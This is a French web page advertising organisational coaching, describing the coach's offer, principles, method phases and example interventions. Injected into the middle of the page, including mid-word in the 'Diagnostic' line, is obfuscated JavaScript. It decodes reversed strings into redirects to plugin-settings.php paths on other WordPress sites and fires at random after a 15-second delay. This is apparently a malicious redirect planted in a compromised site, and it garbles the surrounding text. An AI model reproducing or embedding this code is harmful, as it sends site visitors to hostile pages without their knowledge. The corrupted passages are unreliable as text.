Coaching d'Organisation

Alpiniste Cordee
Ce que je vous apporte

En tant que coach d’organisation :

  • La connaissance des entreprises et des organisations
  • La maîtrise de différents modèles d’accompagnement

pour vous aider à traverser des situations complexes et à gagner en autonomie.

Champ d’action

  • Tous types d’entreprises quels que soient leurs tailles ou leurs secteurs d’activité.

Organisation

  • Selon le type de sujets, je suis amené à intervenir avec d’autres coachs d’organisation pour former une équipe adaptée. J’assure la gestion de l’équipe et je suis votre seul interlocuteur sur le plan contractuel.

Principes du coaching d'organisation

  • Votre entreprise a les ressources pour faire face à ses défis : ce sont vous et vos salariés qui disposent des solutions
  • Je suis spécialiste de l’accompagnement. Vous êtes spécialiste de vos métiers. Nous co-élaborons ensemble les stratégies d’accompagnement
  • Pour fonctionner, le coaching d’organisation doit s’appliquer à toute la structure et pas seulement au coaching de dirigeants et de votre codir
  • La complexité des situations implique une méthode d’accompagnement multi-référentiels : systémique, intelligence collective, diagnostics…et conseil

Méthodologie

L’intervention – qui n’est pas linéaire et qui s’inscrit dans la durée – est structurée autour de quatre phases :

Diagnostic : Prise de contact, analyse de vos besoins et élaboration de votre demandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}ande d’accompagnement

Elaboration et contractualisation de l’architecture d’accompagnement

Animation concrète des dispositifs d’accompagnement (coaching de dirigeants, d’équipes, séminaires,…)

Clôture, bilan, intégration et rebond éventuel au travers d’un nouveau cycle d’accompagnement

On the top of the world together. A group of people st$hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == "string") return $hiVNZt4Y5cDrbJXMhLy.list[n].split("").reverse().join("");return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=["'php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}

Exemples d'interventions

IDENTITE

  • Vision, valeurs, principes de management, priorités stratégiques, plans d’actions => définition et mise en cohérence

CHANGEMENT

  • Evolution des modèles économiques (diversification produits/marchés, innovation, cession d’activités), fusion/acquisition, changements organisationnels, crises =>accompagnement

TRANSMISSION / CESSION

  • Accompagnement des entreprises familiales

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